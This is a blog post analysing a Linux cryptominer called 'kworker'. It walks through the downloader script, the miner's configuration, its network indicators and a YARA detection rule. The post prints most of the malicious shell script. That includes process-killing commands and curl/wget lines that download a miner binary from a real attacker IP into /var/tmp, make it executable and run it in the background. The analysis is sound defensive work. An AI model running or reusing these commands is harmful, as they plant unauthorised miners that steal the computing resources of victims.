The kworker Linux cryptominer malware
I recently saw this interesting malware sample. The uploaded file is nothing more than a downloader for a cryptocoin miner. The downloader (logo.sh) starts by removing “/var/tmp/fyvxsztqix.conf” and “/var/tmp/sshd” which means that it is probably previously installed malware.
#!/bin/sh rm -rf /var/tmp/fyvxsztqix.conf rm -rf /var/tmp/sshd
After this it runs a series of cleanups to ensure that the system not running another instance of the miner. After it kills all of the running miner processes, it will start the downloader as you can see below.
ps auxf|grep -v grep|grep -v mwyumwdbpq|grep "/tmp/"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "fyvxsztqix"|awk '{print $2}'|xargs kill -9 ps -fe|grep -e "mwyumwdbpq" -e "xzpauectgr" -e "slxfbkmxtd"|grep -v grep if [ $? -ne 0 ] then echo "Starting process..."
The code will first attempt to download the configuration file (kworker.conf) and store it in “/var/tmp/mwyumwdbpq.conf” file. Note that it will try to do it both using wget and curl to ensure that it will work even if one of the tools is not available.
chmod 777 /var/tmp/mwyumwdbpq.conf rm -rf /var/tmp/mwyumwdbpq.conf curl -o /var/tmp/mwyumwdbpq.conf http://5.188.87.12/langs/kworker.conf wget -O /var/tmp/mwyumwdbpq.conf http://5.188.87.12/langs/kworker.conf
After this the downloader will check “/proc/cpuinfo” and depending if the processor supports AES-NI (Advanced Encryption Standard New Instructions) or not, it will download either “kworker” or “kworker_na”. The downloaded file will be stored in “/var/tmp/atd” file.
chmod 777 /var/tmp/atd rm -rf /var/tmp/atd cat /proc/cpuinfo|grep aes>/dev/null if [ $? -ne 1 ] then curl -o /var/tmp/atd http://5.188.87.12/langs/kworker wget -O /var/tmp/atd http://5.188.87.12/langs/kworker else curl -o /var/tmp/atd http://5.188.87.12/langs/kworker_na wget -O /var/tmp/atd http://5.188.87.12/langs/kworker_na fi chmod +x /var/tmp/atd
Lastly, the downloader will discover the amount of available cores and it will start the downloaded file using arguments “-c” for the configuration file and “-t” for the number of threads to start in order to utilize the CPU resources of all the available cores.
cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$((($proc+1)/2)) ./atd -c mwyumwdbpq.conf -t `echo $cores` >/dev/null & else echo "Running..." fi
Here is the configuration file (kworker.conf) that it was downloaded from this malware sample.
{ "url" : "stratum+tcp://45.76.94.104:80", "user" : "etnkN7n6nSXjPNxVjFFqjaCHdaXBHR2q3cWUnd5ZEtnvAVKKYRrucRgF34XdY2cMfAEUsTrUFJNGvgK4q2dQFfsY41pihj9PMc", "pass" : "x", "algo" : "cryptonight", "quiet" : true }
Inspecting the binaries makes it obvious really fast that this is cpuminer version 2.3.3. An open source miner available on GitHub. It is worth noting that although the latest release of cpuminer is 2.5.0 (released in 22 June 2017), those two samples were compiled on 29 October 2017 (kworker_na) and 31 October 2017 (kworker) respectively, using version 2.3.3 which was released on 27 February 2014. Below is the help message of the cpuminer version 2.3.3 (kworker).
Usage: minerd [OPTIONS] Options: -o, --url=URL URL of mining server -O, --userpass=U:P username:password pair for mining server -u, --user=USERNAME username for mining server -p, --pass=PASSWORD password for mining server --cert=FILE certificate for mining server using SSL -x, --proxy=[PROTOCOL://]HOST[:PORT] connect through a proxy -t, --threads=N number of miner threads (default: number of processors) -r, --retries=N number of times to retry if a network call fails (default: retry indefinitely) -R, --retry-pause=N time to pause between retries, in seconds (default: 30) -T, --timeout=N timeout for long polling, in seconds (default: none) -s, --scantime=N upper bound on time spent scanning current work when long polling is unavailable, in seconds (default: 5) --no-longpoll disable X-Long-Polling support --no-stratum disable X-Stratum support --no-redirect ignore requests to change the URL of the mining server -q, --quiet disable per-thread hashmeter output -D, --debug enable debug output -P, --protocol-dump verbose dump of protocol-level activities -S, --syslog use system log for output messages -B, --background run the miner in the background --benchmark run in offline benchmark mode -c, --config=FILE load a JSON-format configuration file -V, --version display version information and exit -h, --help display this help text and exit
There were no modifications in either of the binaries. They were just compiled versions of this open source miner software. According to some sources this is a result of malware infections based on exploitation of the CVE-2017-5638 (Apache 2 Struts remote code execution) vulnerability. Regarding the network indicators, there is no clear correlation among them. Here is a brief overview of them.
IP Hostname First seen Last seen WHOIS name/email Registrar 5.188.87.12 N/A N/A 13-12-2017 noc@channelnet.ie Petersburg Internet Network Ltd. 45.76.94.104 mine.etnpool.info 29-11-2017 13-12-2017 contact@privacyprotect.org PDR Ltd. 91.230.47.90 N/A N/A 14-11-2017 noc@channelnet.ie Regionalnaya Kompaniya Svyazi Ltd. 37.59.56.102 pool.minexmr.com 16-04-2014 13-12-2017 ALEXIS ENSTON/XN@OUTLOOK.COM eNom
To conclude, I wrote a simple YARA rule that you can use to detect any infections you might have in your systems. The YARA rule is based on the previously described samples and you can find it here.
import "hash" rule minerd_kworker_cpuminer { meta: author = "Anastasios Pingios (xorl)" description = "Linux cpuminer (minerd)" reference = "https://xorl.wordpress.com/2017/12/13/the-kworker-linux-cryptominer-malware/" date = "13-12-2017" filename = "logo.sh" filename = "/var/tmp/fyvxsztqix.conf" filename = "/var/tmp/mwyumwdbpq.conf" filename = "/var/tmp/xxtyligbex.conf" filename = "/var/tmp/sshd" strings: $host_1 = "5.188.87.12" ascii $host_2 = "45.76.94.104" ascii $host_3 = "91.230.47.90" ascii $host_4 = "37.59.56.102" ascii $host_5 = "pool22.poolminers.net" ascii $downloader_1 = "kworker" ascii $downloader_2 = "etnkN7n6nSXjPNxVjFFqjaCHdaXBHR2q3cWUnd5ZEtnvAVKKYRrucRgF34XdY2cMfAEUsTrUFJNGvgK4q2dQFfsY41pihj9PMc" ascii $downloader_3 = "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt" ascii $binary_1 = "cpuminer" ascii $binary_2 = "minerd" ascii $binary_3 = "stratum+tcp" ascii $binary_4 = "Mining-Extensions" ascii condition: 2 of ($host*,$downloader*) or 3 of ($binary*) or filesize < 2KB and hash.sha256(0, filesize) == "d920f802d03bd6b7ad7e0e309da1f8087542542626be8057fd15d820bc8a66e1" or filesize < 2MB and hash.sha1(0, filesize) == "59ea14373c0ffd14d3bb00ed8c98421c680e853c" }
Leave a Reply